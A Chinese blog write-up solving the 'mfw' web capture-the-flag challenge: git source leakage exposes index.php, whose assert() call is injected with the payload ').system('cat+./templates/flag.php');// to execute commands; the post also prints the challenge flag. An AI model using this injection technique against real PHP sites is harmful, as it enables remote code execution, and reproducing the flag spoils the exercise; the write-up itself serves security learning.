攻防世界-mfw-(详细操作)做题笔记

最新推荐文章于 2024-05-26 12:46:39 发布

角一角

最新推荐文章于 2024-05-26 12:46:39 发布

阅读量5k

点赞数 6

分类专栏：攻防世界 web 高手篇文章标签： git github

本文链接：https://blog.csdn.net/qq_43715020/article/details/125312071

版权

攻防世界 web 高手篇专栏收录该内容

13 篇文章

订阅专栏

如有不对的地方，还请各位大佬指正，下面开始正式做题：

进入题目以后可以点击三个网页，这三个网页其中有一个提示我们git、php、Bootstrap、看到git的时候就可以联想到git泄露了，具体的git泄露知识请看这里：WEB安全-常见源码泄露 | wh1te

在网页后面添加http://111.200.241.244:58896/.git

可见存在git漏洞的，这时候就可以利用python的githacker库下载泄漏的文件。下载的系统是kali。

我们用kali打开下载后的文档，发现当中有一个叫做flag的文档，但是查看以后发现什么都没有，应该是需要经过游览器特定的转换才能够看到该文件

翻阅了所有的文档以后并没有发现值得分析的文件，除了开头下载的index.php 文件中包含有代码部分

查看代码前我们需要知道：

assert()函数其实是一个断言函数。

assert：

　　这个函数在php语言中是用来判断一个表达式是否成立。返回true or false;

　　　　　　　　assert ( mixed $assertion [, string $description ] ) : bool

　　如果 assertion 是字符串，它将会被 assert() 当做 PHP 代码来执行。

strpos() 函数查找字符串在另一字符串中第一次出现的位置，如果没有找到则返回flase，

<?php

if (isset($_GET['page'])) {  //判断参数page是否为空
	$page = $_GET['page'];
} else {    //为空输出page=home
	$page = "home";
}

$file = "templates/" . $page . ".php";

// I heard '..' is dangerous!
assert("strpos('$file', '..') === false") or die("Detected hacking attempt!");  //查找$file
中..第一次出现的位置，查找成功则返回true，失败则返回flase，
// TODO: Make this look nice
assert("file_exists('$file')") or die("That file doesn't exist!");

?>
<!DOCTYPE html>
<html>
	<head>
		<meta charset="utf-8">
		<meta http-equiv="X-UA-Compatible" content="IE=edge">
		<meta name="viewport" content="width=device-width, initial-scale=1">
		
		<title>My PHP Website</title>
		
		<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/twitter-bootstrap/3.3.7/css/bootstrap.min.css" />
	</head>
	<body>
		<nav class="navbar navbar-inverse navbar-fixed-top">
			<div class="container">
		    	<div class="navbar-header">
		    		<button type="button" class="navbar-toggle collapsed" data-toggle="collapse" data-target="#navbar" aria-expanded="false" aria-controls="navbar">
		            	<span class="sr-only">Toggle navigation</span>
		            	<span class="icon-bar"></span>
		            	<span class="icon-bar"></span>
		            	<span class="icon-bar"></span>
		          	</button>
		          	<a class="navbar-brand" href="#">Project name</a>
		        </div>
		        <div id="navbar" class="collapse navbar-collapse">
		          	<ul class="nav navbar-nav">
		            	<li <?php if ($page == "home") { ?>class="active"<?php } ?>><a href="?page=home">Home</a></li>
		            	<li <?php if ($page == "about") { ?>class="active"<?php } ?>><a href="?page=about">About</a></li>
		            	<li <?php if ($page == "contact") { ?>class="active"<?php } ?>><a href="?page=contact">Contact</a></li>
						<!--<li <?php if ($page == "flag") { ?>class="active"<?php } ?>><a href="?page=flag">My secrets</a></li> -->
		          	</ul>
		        </div>
		    </div>
		</nav>
		
		<div class="container" style="margin-top: 50px">
			<?php
				require_once $file;
			?>
			
		</div>
		
		<script src="https://cdnjs.cloudflare.com/ajax/libs/jquery/1.12.4/jquery.min.js" />
		<script src="https://cdnjs.cloudflare.com/ajax/libs/twitter-bootstrap/3.3.7/js/bootstrap.min.js" />
	</body>
</html>

这里的关键代码是

assert("strpos('$file', '..') === false") or die("Detected hacking attempt!");

由于文件并没有对输入的字符进行过滤，所以可以进行语句闭合修改语句原本的意思，构建的payload: /?page=');// #双斜杠 " // " 再php中表示注释

由于之前git漏洞下载对文件，我们已经知道了flag位于/templates/flag.php路径下，所以payload的构建可以直接一步到位，不用再用system('ls+xxx')回显路径，最后的

payload： /?page=').system('cat+./templates/flag.php');//

FLAG: cyberpeace{0efc24240f66f1b3558c82b442cff2fa}